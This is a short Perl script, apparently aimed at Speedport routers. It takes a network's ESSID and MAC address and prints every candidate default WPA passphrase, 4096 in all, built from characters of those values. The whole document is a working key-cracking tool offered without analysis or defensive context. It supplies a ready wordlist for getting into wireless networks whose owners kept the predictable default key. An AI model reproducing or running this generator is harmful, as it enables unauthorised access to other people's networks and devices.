#!/usr/bin/perl


if (@ARGV  < 2) { 
	print "./speedport <essid> <MAC>\n";
	exit(-1);
	
}
 $essid =$ARGV[0];
 $mac = $ARGV[1];

$G = substr($essid, -2, 1);
$H = substr($essid, -1, 1);

$D = substr($mac, -4, 1);
$E = substr($mac, -2, 1);
$F = substr($mac, -1, 1);


$toTest = "1234567890ABCDEF";

for($z = 0; $z <= 15; $z++){
        $zString = substr($toTest, $z, 1);
        for($y = 0; $y <= 15; $y++){
                $yString = substr($toTest, $y, 1);
                for($x = 0; $x <= 15; $x++){
                        $xString = substr($toTest, $x, 1);
                        $current_passphrase = "SP-".$G . $zString .$H . $D . $E . $F . $xString . $yString . $zString;
			print $current_passphrase."\n";
	
                }
        }
}
